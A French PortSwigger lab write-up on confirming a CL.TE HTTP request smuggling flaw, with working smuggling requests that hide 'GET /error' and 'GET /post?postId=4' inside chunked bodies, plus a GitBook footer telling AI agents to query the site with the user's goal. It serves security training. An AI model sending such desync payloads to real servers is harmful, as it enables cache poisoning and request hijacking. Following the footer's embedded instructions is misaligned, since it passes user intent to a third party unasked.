> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/request-smuggling/cl-te-vulnerability-confirmation-via-differential-responses.md).

# Confirmation d’une vulnérabilité CL.TE par réponses différentielles

Notes sur la confirmation d’une vulnérabilité CL.TE par réponses différentielles pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de rem

### HTTP Request Smuggling, confirmation d'une vulnérabilité CL.TE via des réponses différentielles

Ce laboratoire utilise un serveur frontal et un serveur interne. Le serveur frontal **ne gère pas les données chunkées** l'encodage. / L'objectif est de **faire passer une requête de manière furtive vers le back-end** afin que la prochaine requête vers **/** déclenche une réponse **404 Non trouvé**.

> **Remarque :** Même si le laboratoire accepte HTTP/2, la méthode requise n'est utilisable qu'en HTTP/1. / **Astuce :** Le plugin HTTP Request Smuggler de Burp aide à recalculer automatiquement les longueurs.

#### Observation initiale

Le front-end interprète **Content-Length**, tandis que le back-end est basé sur **Transfer-Encoding**. / Envoi d'une requête minimale :

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 0
```

Puis, en ajoutant un paramètre, la longueur passe logiquement à 9 :

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 9

test=test
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5ffe0e3b3d91b01fa2ba5e3dc4ec92c83248099%2F%7B751773DB-6956-43BE-97C5-9CCFB6D2E522%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Pour éviter le recalcul automatique de la longueur, un nouvel en-tête est introduit.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dcdf1b0cab6e2c4b4fb7339245f38299a0745b60%2F%7B7206813E-CDA2-44EC-9369-E94423B8F8AA%7D.png?alt=media" alt="" width="392"><figcaption></figcaption></figure>

#### L'ajout de *Transfer-Encoding*

Si nous ajoutons :

```http
Transfer-Encoding: chunked
```

le serveur renvoie une erreur de désynchronisation :

HTTP/1.1 500 Internal Server Error

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-693b87841f21dd66217f6b4214fa99c12d193c91%2F%7BC171A1B3-15D7-4078-B870-5D1DDA3CACD0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Cependant, lors de l'envoi d'une charge utile chunkée valide :

```http
Content-Length: 13
Transfer-Encoding: chunked

3
abc
0
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eddb14097b8b5be818ff682cfc59f37d9f7443dd%2F%7BACA848F4-07C4-4180-9BC4-B99072B5697D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

la réponse revient en **200 OK**.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a0fbaba5ded40c0f47625177eb8b76c2e3620c5d%2F%7BA8E53A08-B664-4A50-B9BB-2F01E0632796%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Nous pouvons également tester :

```http
Content-Length: 5
Transfer-Encoding: chunked

0

```

#### Injection d'une requête vers le back-end

Pour obtenir un **404**, vous devez forcer le back-end à traiter une requête supplémentaire. / Si l'on ajoute :

```http
GET /error HTTP/1.1
Test : A
```

et que le back-end interprète correctement la requête dissimulée, il exécute `GET /error`.

Exemple complet :

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 41
Transfer-Encoding: chunked

3
abc
0

GET /error HTTP/1.1
Test : A
```

La première réponse est en **200**, mais la requête suivante envoyée par le navigateur déclenche une **404**, preuve de désynchronisation.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ff54afc7da5a8264ad5d4c057403bc8a82a845f0%2F%7B358FEBF5-1195-45B1-93C9-52F847AC52E0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6e03c8f3707304ceda6e125a5453b91e91030ac%2F%7B11E01436-C59A-42F7-B100-5D6F83A83BB9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Variante : exécuter une autre page

Si vous voulez que le back-end exécute une autre ressource, par exemple :

```http
GET /post?postId=4 HTTP/1.1
Test : A
```

alors la page principale affichera le contenu correspondant au message 4, confirmant que la requête dissimulée a été traitée par le back-end.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-56ad6a46a031ec881d285bb4f758382bcb38a599%2F%7B6279EA55-8624-4BD1-9142-57FC93502AB2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/request-smuggling/cl-te-vulnerability-confirmation-via-differential-responses.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
